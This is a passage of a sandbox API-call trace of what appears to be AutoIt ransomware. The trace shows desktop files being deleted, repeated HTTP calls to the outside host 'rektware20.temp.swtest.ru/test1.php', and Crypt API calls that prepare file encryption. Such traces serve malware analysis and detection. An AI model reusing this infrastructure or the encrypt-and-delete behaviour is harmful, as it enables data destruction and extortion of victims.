lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", lpFilePart=0x0) returned 0x2d [0077.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u31ksfp09cy.pps")) returned 0x20 [0077.976] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0077.976] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u31ksfp09cy.pps")) returned 1 [0078.001] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.001] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0078.002] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.002] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.002] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.002] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.002] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.002] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.002] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.002] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.003] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.003] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.003] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.003] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c) returned 1 [0078.003] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.003] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.003] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.004] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.004] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.004] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.004] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.004] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.004] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.004] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.004] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.005] CloseHandle (hObject=0x0) returned 0 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.005] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kvckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ckLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kLUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LUVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UVBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BVmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vmp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.006] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.006] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.006] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.006] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.006] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.006] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.006] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.006] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.006] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.006] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0078.006] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.007] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.007] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.007] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.007] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.007] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.007] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.007] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.007] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.008] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.008] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.008] CloseHandle (hObject=0x0) returned 0 [0078.008] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.008] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u5kvckLUVBVmp.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0078.008] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0078.008] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.008] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.008] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.009] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.009] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.009] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.009] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.009] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.009] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.009] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.009] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.009] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.010] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.010] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.010] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631d48) returned 1 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.011] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.011] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.011] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.012] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.012] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.012] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.012] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.012] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.012] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.012] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.012] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.012] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.013] 